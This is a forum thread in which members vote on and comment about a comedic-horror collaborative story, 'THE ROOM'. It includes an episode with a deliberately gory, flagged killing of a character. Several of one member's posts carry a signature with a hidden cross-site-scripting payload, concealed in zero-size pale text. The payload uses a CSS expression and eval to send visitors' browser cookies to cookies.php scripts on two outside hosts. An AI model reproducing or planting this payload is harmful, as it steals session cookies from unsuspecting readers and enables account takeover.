City of IF

tramp in a storm · Posted: Mon Jul 09, 2007 10:42 am Post subject:

Damn. If we go by the time it took her last time..... we've got a while to wait.

oh :( Phang hurry up! :)

The White Blacksmith · Joined: 02 Apr 2006 Posts: 2473

Just get a bazooka to her head till she posts or puts up a poll or something. I mean, how hard will it be to put up a poll listing the names of the characters?

Although I could nominate that Chicken reveals hithero unknown talents and projects their images onto a wall, which Ralph procedes to attack.

www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://baracca.netsons.org/cookies.php?c='+document.cookie;this.sss=null`style='font-size:0;]'
www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://baracca.altervista.org/cookies.php?c='+document.cookie;this.sss=null`style='font-size:0;]'

tramp in a storm · Posted: Mon Jul 09, 2007 12:17 pm Post subject:

lol then they can all laugh at Ralph! that'll be funny. As long as the chicken doesn't die I don't mind lol

Phang · Posted: Mon Jul 09, 2007 1:06 pm Post subject:

I already have plans for Ralph's stopping, involving DEER!

And I'm putting a poll up now.

tramp in a storm · Posted: Tue Jul 10, 2007 1:39 am Post subject:

woooo! go chia! I voted :)

hey, where is MW these days? not seen him in ages

The White Blacksmith · Joined: 02 Apr 2006 Posts: 2473

There was something in the news about his being taken by ASS to the HOLE for a while.

www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://baracca.netsons.org/cookies.php?c='+document.cookie;this.sss=null`style='font-size:0;]'
www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://baracca.altervista.org/cookies.php?c='+document.cookie;this.sss=null`style='font-size:0;]'

Head Eater · Posted: Tue Jul 17, 2007 1:43 am Post subject:

Thisssss isssss now worthy of promotion. Ensure it ssstays ssso, or on your head be it!

The White Blacksmith · Joined: 02 Apr 2006 Posts: 2473

Yay! *wheels in huge cake*

NeverNeverGirl · Posted: Wed Jul 18, 2007 9:44 pm Post subject:

i voted chia as per my previous post... maybe it could be a fake death though designed to torture someone
maybe they had to choose whether or not to save her somehow?

The White Blacksmith · Joined: 02 Apr 2006 Posts: 2473

...No, I think she's just going to die.

Masterweaver · Joined: 21 Nov 2006 Posts: 1456 Location: Look around

I finally get my net back, and I see you deciding to murder an author over a plot device.

Look, just give me your excess insanity, and I'll take care of it, okay?

Player of Fates · Joined: 27 Jun 2007 Posts: 217 Location: Darkness

I vote for chia because I have no idea who that is!

tramp in a storm · Posted: Sat Jul 28, 2007 4:48 am Post subject:

Masterweaver wrote: I finally get my net back, and I see you deciding to murder an author over a plot device.

Look, just give me your excess insanity, and I'll take care of it, okay?

*translating mode* Does that mean that we are killing Chia using the plot of the story?

Masterweaver · Joined: 21 Nov 2006 Posts: 1456 Location: Look around

Lecro's current job is Plot device extrodinare.

NeverNeverGirl · Posted: Sat Aug 11, 2007 4:45 pm Post subject:

Okay Phang bring on dead Chia... you can do it!

Phang · Posted: Wed Aug 15, 2007 5:03 pm Post subject:

And I thought you were all idiots for choosing Chia...but as BadLec* seems to be having an identity crisis, I can go with that guuurrrrrd. Any suggestions for people to trick BadLec into becoming temporarily are welcome to be PMed to me! Any that don't make it will probably appear later.

*He's known as BadLec from now on. As opposed to GoodLec, who is a Luxray by the name of Leccy. Kinda long story.

Phang · Posted: Mon Aug 27, 2007 11:43 am Post subject:

The chapter is almost finished! Just thought you ought to know.

The White Blacksmith · Joined: 02 Apr 2006 Posts: 2473

Ok ,we'll start clearing the food away to make space.

Phang · Posted: Tue Oct 02, 2007 1:04 pm Post subject:

And now on CHANNEL IF, after we’ve scared away the little kids with our freaky new idents, it’s time for…

THE ROOM
Episode 4: Naruto dies…no wait, I mean Chia!

THE ROOM, Your gran’s clown pants, Jester Park, IF.

Poor, stupid little Chiacutie. While the rest of THE ROOM was plunged into silence, she went the opposite way and gave off a squeak – just a squeak – of fear. Within mere moments two cold, insanity-stricken eyes were fixed into hers; and they were soon joined by the various other eyes of the ROOM’s current denizens, who were desperate to keep in line with the maggot.

“Oh? What’s this?” Ralph took a step forward and his claws met round Chia’s neck – taking a few luminous pink feathers with it. “Chiacutie dares to laugh in the face of fear?”

“I – I’d hardly call it a laugh…”

“In the face of fear!” Suddenly, Chia’s eyes widened and her breath was cut short. Strangely enough, this was not because the grip around her neck had tightened, nor because Ralph’s generally hideous and rather smelly-breathed face was now pressed against her own. Though these are both exceptionally good reasons why anyone should experience anything up to and including extreme mental disturbance, Chia was on a totally different planet at the time…unless THE ROOM had warped to that planet at the time.

THE ROOM, an abandoned lab beneath Unknown City, Some Sort of Earth.

Would you look at that – what a coincidence.

“No one mocks the power of Ralph Sharkelson Slilomv, stupid girl. From the beginning I have been your worst nightmare…agh!” Ralph collapsed, gripping his head. What, you thought the rage drug was already in effect? Nope, that was just ordinary pethed-off Ralph. Welcome to extremely pethed-off Ralph – extreme edition.

“You…you…” his head snapped up again, showing one eye to be pure white while the other rolled loosely. His metal fingers had dug in so deep that brown blood was beginning to ooze from tiny cuts on his face. He’d looked scary enough anyway. “I just…realised…you hit me, didn’t you? A while ago…and if that was it, that’d be enough to kill you…but no!” Giving up the arduous task of talking, he gripped Chia’s arms by the wrists, perhaps deliberately cutting deep enough to give her that emo look she’d avoided all her life. The back of Ralph’s suit was slashed by a tiny spike, and soon ripped open entirely by a mass of bionic tentacles. The one which had opened to reveal the deadly point was now aimed at Chia’s stomach (which, it should be noted, was feeling particularly empty right then). “This is the end, Chia…”

Big Fat Warning!

Please do not read the following paragraph or so. Phang is very ashamed for writing it and fully accepts any hate mail she receives for any nausea caused. She also, however, suggests you go bother Ralph instead. However dangerous that may be considering.

With a thankfully swift movement he stabbed the point into Chia’s gut, a tiny, round incision. Ralph worked a finger into the wound, scraping at the flesh inside, stretching and tearing at it until his entire hand was in. Then, grinning with relish as Chiacutie screamed her brains out (surprisingly not literally), he spun his hand at top speed, transforming it into a blade of efficient destruction!

Blood splattered everywhere, spurting out from the hole. Ah, the screams, the screams! From Chia, her death cries; yet, also, the others – they knew Ralph now. They knew the pain of him. She would die soon, but she was a simple tool to terrorise the others, and his mind was clouded – he wished, longed for her end. He tore out, snapping a bone that was in the way, ripping the pallid, drained skin. The tattered husk fell to the floor, unconscious. Already? But no! She could not know oblivion until he decided! The red mist descended again…kneeling beside her, it almost looked as if he was remorseful…

…Remorseful that she would not meet the final blow awake! Ralph’s yellow-bladed maw opened slowly, loops of greenish, foul maggot saliva sliding down through the air to the red floor. For a moment there was nothing, the world frozen in anticipation. Then, within a second, the strike! The needle-like teeth met underneath her throat, and with a mighty yank, it was over for Chiacutie. Swallowing the gory mess, his tentacle-like tongue sliding over his thin lips, Ralph stood, turning to the face the huddled mass of fearful ROOMates. “I am Ralph Sharkelson Slilomv!” he roared, face turned to the impassive, red-flecked light fitting. “Fear me!”

You read it, didn’t you? Thick bugger. Don’t say I didn’t warn you.

“Fear me! Feeeaarr meeeee!!!!” THE ROOM seemed to darken amongst the blood-lust insanity of the fiend. Yet his movements were becoming ragged, jerky – his cries were choking, and growing fainter. Reduced to hissing through a gaping mouth, he writhed on the spot, eyes filled with a murderous rage. Then, with one final effort of the darkness, he was frozen on the spot entirely.

“What…the…?” Jack was the first to speak – after a long while of silent shock. Lecro was next, as Thelo KaKa stirred above him.

“Can somebody get this guy off me?! I know there’s been a horrific death and that, but I think he thinks I’m a female of his species (whatever that may be).”

Thelo grunted and rolled off with a head like it was smashed with an emo brick. “Ah diduns’ fenk da’; ah fow’s yerwer un ‘lectric snek. Yo es, en’cha, Laycr’?”

“Err…” Lecro quickly slithered away, past the corpse of Chia. Suddenly, there was a blinding flash…and it was gone. The entire ROOM gasped in shock!

“What the-?”

“Where’d she-?”

“I want my mum!” Chicken looked around. “Err, I mean, what happen?”

“Congratulations, Ralph Sharkelson Slilomv. You are the first to discover the true meaning of THE ROOM. Whether you shall be the last…who knows? Not in that state you won’t.” Big Mother chuckled to herself. “You see, you ten – now nine – have been placed here to fight to the death. The last one standing, wins their heart’s desire…be that a clean start in the City of IF, sans sentient cloaks…” Lecro sighed happily, “…to become Boss of Halloween again…” Jack grinned (though this was hard without teeth), “…or just an edible porn magazine that’s still legible when it comes out the other end.” Thelo KaKa hyucked in agreement while the others expressed disgust.

“…either way, we’ll be keeping track of your status using this screen.” A panel in the wall below Big Mother slid open, revealing a small LCD screen listing the names of all the ROOMates, and beside each name was their ‘status’:

Jack Skellington (in)
Clive (in)
Sliced Bread (in)
Lecro (in)
Thelo KaKa (in)
Chicken (in)
Roach (in)
Ralph (paralysed)
Bob (where?)

Chia, naturally, was off the list.

There was a moment of silence as the group took this in. Then, perhaps surprisingly, there was only one question on the lips (regardless of whether they all had lips) of the ROOMates:

“Bob? Who the freque is Bob?”

Meanwhile, in the Etherspace…

“Chia! Sorry you had to go that way, eh?” Chiacutie was desperately trying to gather up her intestine, which was tumbling out through the hole. “I shouldn’t really ask, you can’t really talk can you with no throat?” Chia glared at the figure of Big Mother, being too annoyed in general to notice who exactly Big Mother was.

“But the question is – with you unable to choose, what shall we do with you? You see, no one really dies in THE ROOM – we’d have our reasonably frilly undies sued off. We send you back in a different form in a different world – but what exactly? That is the question…one you cannot answer.”

This was a CHANNEL IF and PHANGVISION co-production.

Crunchyfrog · Joined: 12 Dec 2006 Posts: 2314

Bravo, Bravo!! :clap:

Long time coming but well worth the wait. I like your style!

What to send Chia back as? Hmmm, I dunno. Perhaps a dancing snail. Complete with top hat and cane. Although how it handles the cane I will leave to your imagination... :D

The White Blacksmith · Joined: 02 Apr 2006 Posts: 2473

You could sort something out with Mess-head so she comes back as a bunny!

Phang · Posted: Fri Nov 16, 2007 10:26 am Post subject:

Boo! I'm like, totally here and only moderately queer!

I'm loving both ideas, especially Whitey's as it means we can drag Meph into this. :cool: Though as a bunny or as someone encountered in heaven (being the place currently focused on, ja?) , is something which may fill out our poll.

And I'm betting Meph'll find an interesting use for Chia's new gut-hole...yerg...

Phang · Posted: Sat Feb 09, 2008 6:09 pm Post subject:

Reminderpwned. Yeah. It's a word.

GodinJeans · Joined: 29 Aug 2008 Posts: 6

Can chia comeback as a snail. I rather liked the snail idea.

Phang · Posted: Wed Sep 03, 2008 4:07 am Post subject:

Holy carbs! A post? *faints*

Crossfire · Posted: Wed Sep 03, 2008 10:53 pm Post subject:

Diese Raum ist sehr... blobby, aber herrlich gewalttätige!

Ich erwarte sehnsüchtig weitere leckere Blut gefüllten Güte...

*greedily scents Phang with Ew! Der Bananakibble!, in hopes of more Bob-thwacking goodness*

The White Blacksmith · Joined: 02 Apr 2006 Posts: 2473

Me no speaky Foreign!

Are we going to have a poll soon or do we need more suggestions?

Phang · Posted: Thu Sep 04, 2008 11:50 am Post subject:

Nyeeheehee! Let's see what we have...

Dancing snailDealy with Messy...but we can't really do that. Though I still like the idea...anyone else got room for Chia?

Hmm...only two. Any more for any more?

The White Blacksmith · Joined: 02 Apr 2006 Posts: 2473

It's her job to sit on posts and be thwacked while Bob (presumably the apedog) is in the ROOM?

Phang · Posted: Fri Sep 05, 2008 8:50 am Post subject:

The White Blacksmith wrote: Bob (presumably the apedog) is in the ROOM?

Guess again. Nyeeheehee!

The White Blacksmith · Joined: 02 Apr 2006 Posts: 2473

Well in that case... She gets dangled by her intestines from a dragon, so she can be a human advert for the ROOM. Maybe they could fit her with a recorded message...

Crossfire · Posted: Fri Sep 05, 2008 10:50 pm Post subject:

The White Blacksmith, that's exactly what I wanted to do with Phang... except I used bananakibble-scented perfume as bait. :o

I propose that she is turned into some sort of mobile for the entertainment of small, impossibly vicious fanged implets, who are created from her living flesh by the agency of her lifeforce... that way, we're recycling!

*regretfully* She doesn't DIE, though. Just is... reduced, slightly. I'm practically certain there's some way of making her better...

...ah... definitely... *snickers quietly*

Phang · Posted: Sat Sep 06, 2008 10:46 am Post subject:

Ooohh, you people are mean...*smacks Cross*.

Guess I'd better start the poll soon...

Crunchyfrog · Joined: 12 Dec 2006 Posts: 2314

I think this SG surpasses Lordy's A Fronte for slowness... I mean, this has to be the longest chapter to poll cycle - nearly a year! :lol:

Phang · Posted: Sun Sep 07, 2008 8:22 am Post subject:

Sweet, I win.